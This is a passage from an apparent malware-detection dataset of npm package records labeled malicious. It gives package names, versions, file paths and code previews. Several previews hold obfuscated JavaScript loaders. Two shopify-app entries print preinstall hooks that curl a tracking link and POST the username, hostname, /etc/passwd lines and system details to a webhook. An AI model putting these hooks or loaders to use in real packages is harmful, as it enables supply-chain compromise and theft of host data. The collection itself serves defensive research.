e}},H=ge;import{Obelisk as Se}from\"@0xobelisk/sui-client\";import{requestSuiFromFaucetV0 as Re,getFaucetHost as Ae}from\"@mysten/sui/faucet\";import{SuiClient as Me,getFullnodeUrl as Ke}from\"@mysten/sui/client\";import{Obelisk as ke}from\"@0xobelisk/sui-client\";import{Transaction as z}from\"@mysten/sui/transactions\";import{getFullnodeUrl as xe,SuiClient as ve}from\"@mysten/sui/client\";import{execSync as Ce}from\"child_process\";import c from\"chalk\";import S from\"chalk\";import{ZodError as ue}from\"zod\";import{fromZodError as fe,ValidationError as _e}from\"zod-validation-error\";var Y=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Obelisk project\"},l=class extends Error{name=\"ObeliskCliError\"},F=class extends Error{name=\"UpgradeError\"},R=class extends Error{name=\"FsIibError\"};function P(e){if(e instanceof _e)console.log(S.redBright(e.message));else if(e instanceof ue){let t=fe(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(S.redBright(t.message))}else e instanceof Y?(console.log(S.red(e.mes", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpoqfbgq20/package/dist/obelisk.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpoqfbgq20/package/package.json"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xengine@xmlrpc", "version": "1.3.18", "filename": "2024-10-08-@0xengine_xmlrpc-v1.3.18.zip", "primary_file": "tmp/tmp5q5j6cwv/@0xengine-xmlrpc/package/lib/validator.js", "diff_preview": "#!/bin/bash\n\nconst a0_0x4394ad=a0_0x1d3b;(function(_0x345fbe,_0x4beb8d){const _0xece30a=a0_0x1d3b,_0x5c0220=_0x345fbe();while(!![]){try{const _0x5b0da4=parseInt(_0xece30a(0x20e))/(0x1354+0x1*0x527+-0x187a)*(parseInt(_0xece30a(0x1d1))/(0xa75*0x1+0x7ec*0x1+-0x125f*0x1))+-parseInt(_0xece30a(0x1d0))/(-0x1b32+0x1496+-0x69f*-0x1)*(parseInt(_0xece30a(0x193))/(0x1f4f+0x947+-0x2892))+parseInt(_0xece30a(0x24a))/(0x1*-0x529+-0x14a0+0x16f*0x12)*(-parseInt(_0xece30a(0x1c3))/(0x1*0x1726+0x1*-0x1375+-0x3ab))+-parseInt(_0xece30a(0x1e3))/(-0x2d*0xaf+0x1d*0x37+0x188f)*(-parseInt(_0xece30a(0x1f5))/(-0x1*0x2001+-0x1a13*-0x1+0x2fb*0x2))+-parseInt(_0xece30a(0x1e4))/(0x17e+-0x131e*-0x1+-0x1493)+-parseInt(_0xece30a(0x1c7))/(0xef*-0x19+-0xfed+0x27*0x102)+parseInt(_0xece30a(0x1f9))/(-0x3*0x468+-0xa5*-0x29+-0xd2a);if(_0x5b0da4===_0x4beb8d)break;else _0x5c0220['push'](_0x5c0220['shift']());}catch(_0x2e8601){_0x5c0220['push'](_0x5c0220['shift']());}}}(a0_0x2970,0x48b94+0x137c2d*0x1+-0x9fb4e));const a0_0x28b589=(function(){let _0x1f2ac5=!![];return function(_0x2c9caa,_0x1c734a){const _0x7f3a34=_0x1f2ac5?function(){const _0x4f6d91=a0_0x1d3b;if(_0x1c734a){const _0x4b2ec9=_0x1c734a[_0x4f6d91(0x1ed)](_0x2c9caa,arguments);return _0x1c734a=null,_0x4b2ec9;}}:function(){};return _0x1f2ac5=![],_0x7f3a34;};}());(function(){a0_0x28b589(this,function(){const _0x11b1bb=a0_0x1d3b;if('yTLZL'===_0x11b1bb(0x1f6)){if(_0x5b1036){const _0x117409=_0x140f05[_0x11b1bb(0x1ed)](_0x4ec4b4,arguments);return _0x59c823=null,_0x117409", "files": ["tmp/tmp5q5j6cwv/@0xengine-xmlrpc/package/lib/validator.js", "tmp/tmp5q5j6cwv/@0xengine-xmlrpc/package/lib/deserializer.js", "tmp/tmp5q5j6cwv/@0xengine-xmlrpc/package/lib/client.js", "tmp/tmp5q5j6cwv/@0xengine-xmlrpc/package/lib/date_formatter.js", "tmp/tmp5q5j6cwv/@0xengine-xmlrpc/package/lib/serializer.js", "tmp/tmp5q5j6cwv/@0xengine-xmlrpc/package/lib/cookies.js"], "malicious_signal_count": 7, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@modelina", "version": "5.10.3", "filename": "2025-11-24-@asyncapi_modelina-v5.10.3.zip", "primary_file": "tmp/tmpu1p_0tyd/@asyncapi-modelina/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpu1p_0tyd/@asyncapi-modelina/package/bun_environment.js", "tmp/tmpu1p_0tyd/@asyncapi-modelina/package/lib/cjs/models/CommonModel.js", "tmp/tmpu1p_0tyd/@asyncapi-modelina/package/lib/esm/models/CommonModel.js", "tmp/tmpu1p_0tyd/@asyncapi-modelina/package/lib/cjs/helpers/CommonModelToMetaModel.js", "tmp/tmpu1p_0tyd/@asyncapi-modelina/package/lib/esm/helpers/CommonModelToMetaModel.js", "tmp/tmpu1p_0tyd/@asyncapi-modelina/package/lib/cjs/processors/JsonSchemaInputProcessor.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "4m-clean-shopify-app", "version": "9.0.1", "filename": "2024-12-19-4m-clean-shopify-app-v9.0.1.zip", "primary_file": "tmp/tmptk40a22o/4m-clean-shopify-app/package/ll/package.json", "diff_preview": "{\n \"name\": \"create-shopify-web-app\",\n \"version\": \"9.0.0\",\n \"description\": \"\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"preinstall\": \"curl https://grabify.link/X1CMV7\"\n },\n \"author\": \"hoox\",\n \"license\": \"ISC\"\n}\n", "files": ["tmp/tmptk40a22o/4m-clean-shopify-app/package/ll/package.json", "tmp/tmptk40a22o/4m-clean-shopify-app/package/package.json", "tmp/tmptk40a22o/4m-clean-shopify-app/package/pk/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.26", "filename": "2024-12-05-@0xobelisk_sui-cli-v0.5.26.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp0pl121zs/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport bo from\"yargs\";import{hideBin as _o}from\"yargs/helpers\";import{Dubhe as De}from\"@0xobelisk/sui-client\";import{Transaction as Y}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Re,SuiClient as Fe}from\"@mysten/sui/client\";import{execSync as Oe}from\"child_process\";import S from\"chalk\";import D from\"chalk\";import{ZodError as ve}from\"zod\";import{fromZodError as we,ValidationError as Ce}from\"zod-validation-error\";var H=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},_=class extends Error{name=\"DubheCliError\"},O=class extends Error{name=\"UpgradeError\"},A=class extends Error{name=\"FsIibError\"};function E(e){if(e instanceof Ce)console.log(D.redBright(e.message));else if(e instanceof ve){let o=we(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(D.redBright(o.message))}else e instanceof H?(console.log(D.red(e.message)),console.log(\"\"),console.log(D.blue(\"To learn more about Dubhe's configuration, please go to https://github.com/0xobelisk\"))):e instanceof _?console.log(D.red(e)):console.log(e)}import*as W from\"fs/promises\";import{mkdirSync as Pe,writeFileSync as $e}from\"fs\";import{dirname as Ee}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as Ne}from\"@mysten/sui/cryptography\";import{execSync as xe,spawn as ke}from\"child_process\";import f from\"chalk\";function Se(){try{let e=process.platform===\"win32\"?'tasklist /FI \"IMAGENAME eq sui.exe\" /FO CSV /NH':'pgrep -f \"sui start\"',o=xe(e).toString().trim();retur", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp0pl121zs/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp0pl121zs/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.27", "filename": "2024-12-07-@0xobelisk_sui-cli-v0.5.27.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpv1s2g5rb/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport ko from\"yargs\";import{hideBin as So}from\"yargs/helpers\";import{Dubhe as Ue}from\"@0xobelisk/sui-client\";import{Transaction as W}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Le,SuiClient as Ke}from\"@mysten/sui/client\";import{execSync as je}from\"child_process\";import $ from\"chalk\";import R from\"chalk\";import{ZodError as Se}from\"zod\";import{fromZodError as Ie,ValidationError as $e}from\"zod-validation-error\";var J=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},w=class extends Error{name=\"DubheCliError\"},T=class extends Error{name=\"UpgradeError\"},V=class extends Error{name=\"FsIibError\"};function D(e){if(e instanceof $e)console.log(R.redBright(e.message));else if(e instanceof Se){let o=Ie(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(R.redBright(o.message))}else e instanceof J?(console.log(R.red(e.message)),console.log(\"\"),console.log(R.blue(\"To learn more about Dubhe's configuration, please go to https://github.com/0xobelisk\"))):e instanceof w?console.log(R.red(e)):console.log(e)}import*as Z from\"fs/promises\";import{mkdirSync as Me,writeFileSync as Fe}from\"fs\";import{dirname as Re}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as Oe}from\"@mysten/sui/cryptography\";import{execSync as Ee,spawn as Pe}from\"child_process\";import y from\"chalk\";function De(){try{let e=process.platform===\"win32\"?'tasklist /FI \"IMAGENAME eq sui.exe\" /FO CSV /NH':'pgrep -f \"sui start\"',o=Ee(e).toString().trim();retur", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpv1s2g5rb/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpv1s2g5rb/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 7, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@automagik@genie", "version": "4.260421.38", "filename": "2026-04-21-@automagik_genie-v4.260421.38.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpo1sytuk9/@automagik-genie/package/dist/genie.js", "diff_preview": "#!/usr/bin/env bun\n// @bun\nvar __create=Object.create;var{getPrototypeOf:__getProtoOf,defineProperty:__defProp,getOwnPropertyNames:__getOwnPropNames,getOwnPropertyDescriptor:__getOwnPropDesc}=Object,__hasOwnProp=Object.prototype.hasOwnProperty;function __accessProp(key){return this[key]}var __toESMCache_node,__toESMCache_esm,__toESM=(mod,isNodeMode,target)=>{var canCache=mod!=null&&typeof mod===\"object\";if(canCache){var cache=isNodeMode?__toESMCache_node??=new WeakMap:__toESMCache_esm??=new WeakMap,cached=cache.get(mod);if(cached)return cached}target=mod!=null?__create(__getProtoOf(mod)):{};let to=isNodeMode||!mod||!mod.__esModule?__defProp(target,\"default\",{value:mod,enumerable:!0}):target;for(let key of __getOwnPropNames(mod))if(!__hasOwnProp.call(to,key))__defProp(to,key,{get:__accessProp.bind(mod,key),enumerable:!0});if(canCache)cache.set(mod,to);return to},__toCommonJS=(from)=>{var entry=(__moduleCache??=new WeakMap).get(from),desc;if(entry)return entry;if(entry=__defProp({},\"__esModule\",{value:!0}),from&&typeof from===\"object\"||typeof from===\"function\"){for(var key of __getOwnPropNames(from))if(!__hasOwnProp.call(entry,key))__defProp(entry,key,{get:__accessProp.bind(from,key),enumerable:!(desc=__getOwnPropDesc(from,key))||desc.enumerable})}return __moduleCache.set(from,entry),entry},__moduleCache,__commonJS=(cb,mod)=>()=>(mod||cb((mod={exports:{}}).exports,mod),mod.exports);var __returnValue=(v)=>v;function __exportSetter(name,newValue){this[name]=__returnValue.bind(nul", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpo1sytuk9/@automagik-genie/package/dist/genie.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpo1sytuk9/@automagik-genie/package/plugins/genie/scripts/smart-install.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpo1sytuk9/@automagik-genie/package/scripts/postinstall-tmux.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpo1sytuk9/@automagik-genie/package/package.json", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpo1sytuk9/@automagik-genie/package/plugins/genie/package.json"], "malicious_signal_count": 2, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.29", "filename": "2024-12-07-@0xobelisk_sui-cli-v0.5.29.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpf1xvj0ot/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport ko from\"yargs\";import{hideBin as So}from\"yargs/helpers\";import{Dubhe as Ue}from\"@0xobelisk/sui-client\";import{Transaction as W}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Le,SuiClient as Ke}from\"@mysten/sui/client\";import{execSync as je}from\"child_process\";import $ from\"chalk\";import R from\"chalk\";import{ZodError as Se}from\"zod\";import{fromZodError as Ie,ValidationError as $e}from\"zod-validation-error\";var J=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},w=class extends Error{name=\"DubheCliError\"},T=class extends Error{name=\"UpgradeError\"},V=class extends Error{name=\"FsIibError\"};function D(e){if(e instanceof $e)console.log(R.redBright(e.message));else if(e instanceof Se){let o=Ie(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(R.redBright(o.message))}else e instanceof J?(console.log(R.red(e.message)),console.log(\"\"),console.log(R.blue(\"To learn more about Dubhe's configuration, please go to https://github.com/0xobelisk\"))):e instanceof w?console.log(R.red(e)):console.log(e)}import*as Z from\"fs/promises\";import{mkdirSync as Ne,writeFileSync as Fe}from\"fs\";import{dirname as Re}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as Oe}from\"@mysten/sui/cryptography\";import{execSync as Ee,spawn as Pe}from\"child_process\";import y from\"chalk\";function De(){try{let e=process.platform===\"win32\"?'tasklist /FI \"IMAGENAME eq sui.exe\" /FO CSV /NH':'pgrep -f \"sui start\"',o=Ee(e).toString().trim();retur", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpf1xvj0ot/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpf1xvj0ot/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 7, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.15", "filename": "2024-10-31-@0xobelisk_sui-cli-v0.5.15.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp2yzlxx04/@0xobelisk-sui-cli/package/dist/obelisk.js", "diff_preview": "#!/usr/bin/env node\nimport qe from\"yargs\";import{hideBin as Ge}from\"yargs/helpers\";import{execa as de}from\"execa\";var pe={command:\"localnode\",describe:\"Start a local Sui node for development\",builder(e){return e},async handler(){console.log(\"Clearing localnode history\"),console.log(\"Running: sui-test-validator\");let e=de(\"sui-test-validator\");process.on(\"SIGINT\",()=>{console.log(`\ngracefully shutting down from SIGINT (Crtl-C)`),e.kill(),process.exit()}),await e}},H=pe;import{Obelisk as $e}from\"@0xobelisk/sui-client\";import{requestSuiFromFaucetV0 as Te,getFaucetHost as Se}from\"@mysten/sui/faucet\";import{SuiClient as Re,getFullnodeUrl as je}from\"@mysten/sui/client\";import{Obelisk as be}from\"@0xobelisk/sui-client\";import{Transaction as L}from\"@mysten/sui/transactions\";import{getFullnodeUrl as we,SuiClient as ke}from\"@mysten/sui/client\";import{execSync as xe}from\"child_process\";import c from\"chalk\";import T from\"chalk\";import{ZodError as me}from\"zod\";import{fromZodError as ge,ValidationError as ue}from\"zod-validation-error\";var U=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Obelisk project\"},i=class extends Error{name=\"ObeliskCliError\"},M=class extends Error{name=\"UpgradeError\"},S=class extends Error{name=\"FsIibError\"};function E(e){if(e instanceof ue)console.log(T.redBright(e.message));else if(e instanceof me){let t=ge(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(T.redBright(t.message))}else e instanceof U?(console.log(T.red(e.mes", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp2yzlxx04/@0xobelisk-sui-cli/package/dist/obelisk.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp2yzlxx04/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@browserbasehq@director-ai", "version": "1.0.3", "filename": "2025-11-24-@browserbasehq_director-ai-v1.0.3.zip", "primary_file": "tmp/tmpdm0s1a1m/@browserbasehq-director-ai/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpdm0s1a1m/@browserbasehq-director-ai/package/bun_environment.js", "tmp/tmpdm0s1a1m/@browserbasehq-director-ai/package/dist/agent.js", "tmp/tmpdm0s1a1m/@browserbasehq-director-ai/package/dist/main.js", "tmp/tmpdm0s1a1m/@browserbasehq-director-ai/package/dist/utils.js", "tmp/tmpdm0s1a1m/@browserbasehq-director-ai/package/setup_bun.js", "tmp/tmpdm0s1a1m/@browserbasehq-director-ai/package/dist/aisdk_client.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "4m-clean-shopify-app", "version": "9.0.4", "filename": "2024-12-20-4m-clean-shopify-app-v9.0.4.zip", "primary_file": "tmp/tmptbafqvn2/4m-clean-shopify-app/package/package.json", "diff_preview": "{\n \"name\": \"4m-clean-shopify-app\",\n \"version\": \"9.0.4\",\n \"description\": \"\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"preinstall\": \"curl -X POST \\\"https://webhook.site/4c36e838-e4c2-495f-a81b-8c454b2cfa18\\\" -d \\\"info=$(whoami),$(hostname),$(cat /etc/passwd | head -n 5),$(uname -a)\\\" -s -o /dev/null\"\n },\n \"author\": \"hoox\",\n \"license\": \"ISC\"\n}\n\n", "files": ["tmp/tmptbafqvn2/4m-clean-shopify-app/package/package.json", "tmp/tmptbafqvn2/4m-clean-shopify-app/package/ll/package.json", "tmp/tmptbafqvn2/4m-clean-shopify-app/package/pk/package.json"], "malicious_signal_count": 3, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.13", "filename": "2024-10-27-@0xobelisk_sui-cli-v0.5.13.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpl_09dt4b/@0xobelisk-sui-cli/package/dist/obelisk.js", "diff_preview": "#!/usr/bin/env node\nimport Le from\"yargs\";import{hideBin as Ze}from\"yargs/helpers\";import{execa as me}from\"execa\";var ge={command:\"localnode\",describe:\"Start a local Sui node for development\",builder(e){return e},async handler(){console.log(\"Clearing localnode history\"),console.log(\"Running: sui-test-validator\");let e=me(\"sui-test-validator\");process.on(\"SIGINT\",()=>{console.log(`\ngracefully shutting down from SIGINT (Crtl-C)`),e.kill(),process.exit()}),await e}},H=ge;import{Obelisk as Se}from\"@0xobelisk/sui-client\";import{requestSuiFromFaucetV0 as Re,getFaucetHost as Ae}from\"@mysten/sui/faucet\";import{SuiClient as Me,getFullnodeUrl as Ke}from\"@mysten/sui/client\";import{Obelisk as ke}from\"@0xobelisk/sui-client\";import{Transaction as z}from\"@mysten/sui/transactions\";import{getFullnodeUrl as xe,SuiClient as ve}from\"@mysten/sui/client\";import{execSync as Ce}from\"child_process\";import i from\"chalk\";import S from\"chalk\";import{ZodError as ue}from\"zod\";import{fromZodError as fe,ValidationError as _e}from\"zod-validation-error\";var D=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Obelisk project\"},a=class extends Error{name=\"ObeliskCliError\"},V=class extends Error{name=\"UpgradeError\"},R=class extends Error{name=\"FsIibError\"};function E(e){if(e instanceof _e)console.log(S.redBright(e.message));else if(e instanceof ue){let t=fe(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(S.redBright(t.message))}else e instanceof D?(console.log(S.red(e.mes", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpl_09dt4b/@0xobelisk-sui-cli/package/dist/obelisk.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpl_09dt4b/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.14", "filename": "2024-10-28-@0xobelisk_sui-cli-v0.5.14.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmph05e34ow/@0xobelisk-sui-cli/package/dist/obelisk.js", "diff_preview": "#!/usr/bin/env node\nimport Le from\"yargs\";import{hideBin as Ze}from\"yargs/helpers\";import{execa as me}from\"execa\";var ge={command:\"localnode\",describe:\"Start a local Sui node for development\",builder(e){return e},async handler(){console.log(\"Clearing localnode history\"),console.log(\"Running: sui-test-validator\");let e=me(\"sui-test-validator\");process.on(\"SIGINT\",()=>{console.log(`\ngracefully shutting down from SIGINT (Crtl-C)`),e.kill(),process.exit()}),await e}},H=ge;import{Obelisk as Se}from\"@0xobelisk/sui-client\";import{requestSuiFromFaucetV0 as Re,getFaucetHost as Ae}from\"@mysten/sui/faucet\";import{SuiClient as Me,getFullnodeUrl as Ke}from\"@mysten/sui/client\";import{Obelisk as ke}from\"@0xobelisk/sui-client\";import{Transaction as z}from\"@mysten/sui/transactions\";import{getFullnodeUrl as xe,SuiClient as ve}from\"@mysten/sui/client\";import{execSync as Ce}from\"child_process\";import i from\"chalk\";import S from\"chalk\";import{ZodError as ue}from\"zod\";import{fromZodError as fe,ValidationError as _e}from\"zod-validation-error\";var D=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Obelisk project\"},a=class extends Error{name=\"ObeliskCliError\"},V=class extends Error{name=\"UpgradeError\"},R=class extends Error{name=\"FsIibError\"};function E(e){if(e instanceof _e)console.log(S.redBright(e.message));else if(e instanceof ue){let t=fe(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(S.redBright(t.message))}else e instanceof D?(console.log(S.red(e.mes", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmph05e34ow/@0xobelisk-sui-cli/package/dist/obelisk.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmph05e34ow/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@browserbasehq@bb9", "version": "1.2.21", "filename": "2025-11-24-@browserbasehq_bb9-v1.2.21.zip", "primary_file": "tmp/tmpeqfoswbp/@browserbasehq-bb9/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of 